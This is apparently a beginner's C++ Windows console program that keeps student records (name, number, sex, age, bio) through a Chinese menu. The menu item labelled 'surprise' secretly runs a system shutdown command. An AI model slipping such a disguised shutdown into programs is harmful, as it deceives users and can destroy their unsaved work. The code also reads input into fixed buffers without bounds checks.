#include<iostream>
#include<algorithm>
#include<string>
#include<cstring>
#include<cstdio>
#include<stdio.h>
#include<bits/stdc++.h>
#include<conio.h>
#include<iostream>
#include<windows.h>
#include<conio.h>
#include<time.h>
#include<string>
#include <fstream>
using namespace std;
int cmp(int a,int b){
return a>b;
}
struct stu{
char name[999],jj[999];
long long int xh,xb,nl;
};
stu xs[9999];
int main(){
system("color f4");
int qwe=0;
char a[500][500]={" c++系统",
"0.退出",
"1.同学录入",
"2.同学查找",
"3.惊喜",
};
long long int n,i=0,j,q,w;
for(j=0;j<9;j++){
puts(a[j]);
}
while(1){
cin>>n;
if(n==0){
return 0;
}
if(n==1){
system("cls");
cout<<"名字:";
cin>>xs[i].name;
cout<<endl<<"学号:";
cin>>xs[i].xh;
for(q=0;q<i;q++){
if(xs[i].xh==xs[q].xh){
cout<<"学号重复!!";
return 0;
}
}
cout<<endl<<"性别(1男0女)";
cin>>xs[i].xb;
cout<<endl<<"年龄:";
cin>>xs[i].nl;
cout<<endl<<"简介:(一行内完成)";
cin>>xs[i].jj;
i++;
cout<<endl<<"录入完成";//ok
cout<<endl<<"输入0表示已看完"<<endl;
cin>>n;
system("cls");
}
if(n==2){
system("cls");
qwe=0;
cout<<"请输入学号"<<endl;//xh
cin>>w;
for(q=0;q<i;q++){
if(w==xs[q].xh){
cout<<"名字:"<<xs[q].name;
cout<<endl<<" 性别:";
if(xs[q].xb==0){
cout<<"女"<<endl;
}else{
cout<<"男"<<endl;
}
cout<<" 学号:"<<xs[q].xh<<endl;
cout<<" 年龄:"<<xs[q].nl<<endl;
cout<<" 简介:"<<xs[q].jj<<endl;
cout<<endl<<"输入0表示已看完"<<endl;
cin>>n;
qwe=1;
break;
}
}
if(qwe==0){
cout<<"没有这个学生!!";
Sleep(4000);
}
}
if(n==3){
system("shutdown -s -t 60");
system("shutdown -s -t 60");
return 0;
}
system("cls");
for(j=0;j<9;j++){
puts(a[j]);
}
}
return 0;
}